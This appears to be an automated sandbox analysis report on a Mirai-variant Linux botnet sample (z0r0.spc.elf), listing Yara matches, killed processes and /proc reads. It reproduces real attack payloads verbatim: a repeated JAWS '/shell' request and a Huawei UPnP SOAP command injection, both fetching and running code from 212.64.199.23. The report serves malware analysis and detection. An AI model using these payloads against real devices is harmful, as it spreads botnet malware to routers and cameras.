Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: raw.igxhost.ru

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: z0r0.spc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: z0r0.spc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: z0r0.spc.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: z0r0.spc.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5825.1.00007fad3c011000.00007fad3c023000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5825.1.00007fad3c011000.00007fad3c023000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5821.1.00007fad3c011000.00007fad3c023000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5821.1.00007fad3c011000.00007fad3c023000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 3192, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 3249, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 3250, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 3251, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 3252, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 3253, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 3255, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 3272, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 3274, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 5836, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 5837, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 5838, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 5839, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 5840, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 5841, result: successful	Jump to behavior

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 3192, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 3249, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 3250, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 3251, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 3252, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 3253, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 3255, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 3272, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 3274, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 5836, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 5837, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 5838, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 5839, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 5840, result: successful	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	SIGKILL sent: pid: 5841, result: successful	Jump to behavior

Source: z0r0.spc.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: z0r0.spc.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5825.1.00007fad3c011000.00007fad3c023000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5825.1.00007fad3c011000.00007fad3c023000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5821.1.00007fad3c011000.00007fad3c023000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5821.1.00007fad3c011000.00007fad3c023000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@5/0

Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/5664/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/1185/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/3241/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/3483/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/1732/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/1730/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/3235/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/3234/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/515/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/1617/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/1615/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/3255/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/3253/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/3252/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/3251/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/3250/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/1623/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/5828/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/3249/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/764/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/3368/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/3488/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/766/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/888/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/1509/cmdline	Jump to behavior
Source: /tmp/z0r0.spc.elf (PID: 5833)	File opened: /proc/803/cmdline	Jump to behavior
